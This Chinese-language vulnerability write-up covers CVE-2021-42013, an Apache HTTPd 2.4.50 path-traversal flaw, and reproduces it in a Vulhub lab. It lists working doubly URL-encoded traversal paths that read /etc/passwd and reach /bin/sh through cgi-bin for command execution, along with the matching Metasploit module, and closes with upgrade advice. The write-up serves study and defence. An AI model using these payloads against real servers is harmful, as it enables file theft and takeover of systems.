跳转至

CVE-2021-42013(Apache HTTP Server 路径穿越漏洞)

漏洞描述

2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。CVE-2021-41773漏洞在v2.4.50版本中进行了修复。但修复版本中只处理了/xx/.%2e/这样的路径,而没有正确处理/.%%32%65/这种字符串,导致/.%%32%65/被带入后续的处理,仍然可造成目录穿越。攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。

同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

影响版本

  • Apache V2.4.50

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

漏洞存在验证

Text Only
search cve:2021-42013
use 1

漏洞存在

CSS
/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

在Apache开启Cgi的情况下,可以进行RCE:

CSS
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh

POC的实质就是在CVE-2021-41773的POC的基础上进行再次进行URL编码

Text Only
../ --> urlencode(..) --> %2e%2e --> %urlencode(2e)%urlencode(2e) --> %%32%65%%32%65

MSF复现

Text Only
use exploit/multi/http/apache_normalize_path_rce

漏洞原理

和CVE-2021-41773类似

漏洞代码分析参考:https://www.freebuf.com/vuls/311433.html

修复建议

  • 升级Apache版本

参考文章:https://httpd.apache.org/download.cgi#apache24